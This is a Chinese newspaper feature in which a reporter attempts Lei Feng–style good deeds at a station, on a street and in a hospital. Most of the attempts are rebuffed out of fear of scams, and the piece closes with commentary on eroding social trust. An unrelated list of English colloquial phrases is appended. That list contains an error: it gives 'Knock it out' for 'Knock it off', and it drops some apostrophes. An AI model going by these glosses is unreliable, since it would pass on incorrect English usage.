  “去去去,我不要你扶我!”“我们单位有规定,闲杂人等不能在这停留,打扫卫生是我们的事,用不着你来打扫!”昨日,是全国“学雷锋日”,记者走上街头,学雷锋做好事,体验“雷锋精神”,结果令人尴尬——20次帮助别人,19次遭到或直接或婉言的拒绝,还一度被误认为别有企图。

  镜头1  提行李 帮提行李 被误认为骗子
  背景:江苏省连云港市新浦汽车总站长途服务组的“雷锋车”小组,持之以恒学雷锋,无偿接送旅客,免费接送行李,送危急病人去医院,送迷途老人、儿童回家……
  体验:昨日上午10时,记者首先来到兰州火车站。一名妇女脚下放着四五个大提包站在路边,一脸犯难的样子,记者赶忙上前说:“大姐,我帮您提吧?您这是要提到哪啊?”这位大姐将记者推开,然后一脸警惕地说:“我是本地的!不用提!”记者再三表示是学雷锋做好事,帮助她提行李,大姐却不言不语,拦了一辆出租车匆匆离去。
  无奈之际,记者看到一名学生模样的小伙子,提着两只大包吃力地走着,记者上前表示帮助他提包,但小伙子右手将一只大包死死握住,还不住地向记者摆左手:“不用不用,谢谢!谢谢!”待记者说明身份和来意后,这个小伙子才告诉记者:“我还以为你不是骗子就是附近旅店拉客的!”
  随后记者又欲要帮助另14名旅客提包,但无一例外全遭拒绝。

  镜头2  扶老人过马路 扶我过马路?拿什么相信你
  背景:哈尔滨南岗区花园街道办事处海城社区有个“雷锋排”,61名老人每天早、中、晚义务在学校门前站岗,保护学生过马路。
  体验:中午时分,记者来到广场西口,看到一名满头白发的老人独自晃晃悠悠穿马路,记者立即跑到老人旁边,扶着她的胳膊说:“大娘我扶您过吧!”谁知这位老人竟然将记者的手推开!记者再三解释,这位大娘则掏出自己的手机在电话中道:“儿子,我在广场呢,有骗子啊!”
  记者立刻掏出自己的证件,大娘仔细看完证件后才说:“现在好多骗子就是帮助过马路什么的和我们套近乎,我们一个老年朋友就是被一个自称‘半仙’的人帮着过马路后上当的。
  大约半个小时后,在同一地点记者又遇见了另一位老奶奶,老奶奶手里还提着一个包,站在斑马线一头不停地望着过往车辆,记者急忙上前表明是报社记者,今天是雷锋日做好事,老奶奶端详了下记者恍然大悟:“哦!谢谢小伙子啊。”随后,记者搀扶着老奶奶走到马路对面。

  镜头3 给病人送水果 陪护来了!快请他出病房
  背景:1961年2月,雷锋领到连队发下的1斤苹果,怎么也舍不得吃,后来想起了病院的伤病员,下午3点钟,拿着这些苹果,还有自己写好的一封慰问信送给了抚顺市望花区职工西部医院。
  体验:昨日下午3时左右,记者带着水果来到兰大二院住院部的一间病房,该病房内有一名腿骨骨折的老人。记者将手中的水果放在了老人身旁的桌子上,告诉老人自己是学雷锋来看望她的。谁知老人听完后,挣扎着坐了起来,将那些水果送还到记者手中,喊到:“护士!护士!又来了个陪护的,快来啊!”随即赶到的两名护士将记者请出了病房,被请出病房的还有记者带去的水果。此时老人的家属也赶了过来,进入病房后连忙将门锁住。接着病房内传出这样的对话:“谁知道是不是陪护啊,可能是小偷呢,幸亏发现得早!”

  镜头4 义务搞卫生 帮护士扫地 误为“药托”
  背景:雷锋想到服务和运输部门最忙,便叫上同班战友直奔附近的瓢儿屯车站,帮着打扫候车室,给旅客倒水。
  体验:随后记者又学习雷锋为医院的护士和医生打扫卫生,进入一间护士办公室后,记者将角落里的扫把拿起来,向正在值班的护士说明自己学雷锋义务扫卫生,一名护士听完立刻停下手中的工作制止记者:“我们医院有规定,闲杂人等不能在这停留,打扫卫生是我们的事,用不着你来打扫!”随即将记者手中的扫把拿走,记者再三解释护士仍不买账:“肯定是来推销药品的,要不现在的人谁还这样啊,肯定是有企图的!”

  “雷锋”精神 和谐社会不能少
  近年来,一些有组织的学雷锋活动却被一些人误解为“打扫卫生”,一些个人的善意服务总被人误解,这也是本报记者在昨天践行雷锋精神时所遭遇的尴尬。为什么有人以很大的警惕来揣度他人的爱心?
  今天的人们似乎更关注在竞争中取得自己利益的最大份额,而忽视助人为乐为不可思议的价值取向,于是乎,人人都在喟叹公德沦落、爱心式微,却又谨小慎微地将自我闭锁在狭隘的空间内……这种现实,与我们致力构建的体现诚信友爱的社会主义和谐社会格格不入。雷锋精神的内涵不惟独指向片面的“做好事”,它更体现在宽容、友爱、诚信以及尊老爱幼、助人为乐、公而忘私等民族传统美德方面,这种精神正是当今的社会转型期所稀缺的道德因子。(屈正洲)

最常用的17句地道英语口语

  Pull over!把车子开到旁边。

  Drop me a line!写封信给我。

  Give me a ring. = Call me!来个电话吧!

  For here or to go?堂食或外卖。

  Cool:That s cool! 年轻人常用的囗语“酷!”,表示不赖嘛!用于人或事均可。

  What s up? = What s happening? = What s new? 见面时随囗问候的话“最近在忙什么?有什么新鲜事吗?”一般的回答是“Nothing much!”或“Nothing new!”

  Cut it out! = Knock it out!= Stop it! 少来这一套!同学之间开玩笑的话。

  Don t give me a hard time! 别跟我过不去好不好!

  Get yourself together! 振作点行不行!

  Do you have the time? 现在几点钟?可别误以为人家要约你出去。

  Hang in there. = Don t give up. = Keep trying. 再撑一下。

  Give me a break! 你饶了我吧!(开玩笑的话)

  Hang on. 请稍候。

  Blow it. = Screw up. 搞砸了。

  What a big hassle. 真是个麻烦事。

  What a crummy day. 多倒霉的一天。

  Go for it. 加油